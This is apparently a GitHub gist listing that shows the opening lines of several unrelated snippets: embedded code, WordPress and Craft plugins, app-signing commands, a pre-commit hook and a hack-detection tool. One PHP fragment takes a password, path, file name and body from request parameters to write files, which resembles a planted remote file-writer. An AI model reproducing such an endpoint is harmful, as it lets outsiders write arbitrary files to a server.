This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* tinker_neopixel v1.3 */ | |
/* Includes ------------------------------------------------------------------*/ | |
#include "application.h" | |
/* Function prototypes -------------------------------------------------------*/ | |
int tinkerDigitalRead(String pin); | |
int tinkerDigitalWrite(String command); | |
int tinkerAnalogRead(String pin); | |
int tinkerAnalogWrite(String command); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
"WordPress Plugin Template" Copyright (C) 2013 Michael Simpson (email : [email protected]) | |
This file is part of WordPress Plugin Template for WordPress. | |
WordPress Plugin Template is free software: you can redistribute it and/or modify | |
it under the terms of the GNU General Public License as published by | |
the Free Software Foundation, either version 3 of the License, or | |
(at your option) any later version. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
### Begin System Info ### | |
## Please include this information when posting support requests ## | |
Multisite: No | |
SITE_URL: http://galaxymotors.qa.caorda.com | |
HOME_URL: http://galaxymotors.qa.caorda.com |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Pre commit hook that prevents FORBIDDEN code from being commited. | |
# Add unwanted code to the FORBIDDEN array as necessary, single-space separated. | |
# Ensure executable: "chmod +x .git/hooks/pre-commit" | |
FILES_PATTERN='\.(rb|js|coffee|txt)(\..+)?$' | |
FORBIDDEN=( \.only ) | |
FAILED=false |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$action=$_REQUEST['action']; //页面状态 | |
$password=$_REQUEST['password'];//接口密码 | |
$pathname=$_REQUEST['pathname'];//文件目录名 | |
$keywordindex=$_REQUEST['keywordindex'];//0 然并卵 | |
$filename=$_REQUEST['filename'];//生成文件名 | |
$body=stripslashes($_REQUEST['body']);// 生成文件的内容 | |
$jamin = @$_GET['pw']; | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
http://www.adamwadeharris.com/sign-publish-phonegap-app-google-play-store-windows/ | |
1. phonegap build android --release | |
2. cd platforms/android; ant release | |
3. cd bin; jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore /path/to/keystore/myapp.keystore MyApp-release-unsigned.apk myapp | |
4. jarsigner -verify -verbose -certs MyApp-release-unsigned.apk |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
0. RUN CMD AS ADMIN | |
1. [CONSOLE]Generate key file | |
openssl genrsa -des3 -out ios.key 2048 | |
2. [CONSOLE]Generate signing file | |
openssl req -new -key ios.key -out ios.csr -subj "/[email protected], CN=YourCompanyName, C=CA" | |
- or - |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// should be at /craft/plugins/dlfile/dlfilePlugin.php | |
namespace Craft; | |
class dlfilePlugin extends BasePlugin | |
{ | |
public function getName() | |
{ | |
return Craft::t('DL File'); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Firstline Dump Tool | |
[email protected] | Dec. 1 2015 | |
A handy tool for analyzing the first line of each php file, | |
which is usually where hacks get injected. | |
Visit in a browser to activate. | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Add this to the same directory as your functions.php | |
<?php | |
class CITTA_Builder_Module_Image extends ET_Builder_Module { | |
function init() { | |
$this->name = __( 'Custom Image', 'et_builder' ); | |
$this->slug = 'et_pb_custom_image'; | |
$this->whitelisted_fields = array( | |
'src', | |
'img_size', |
OlderNewer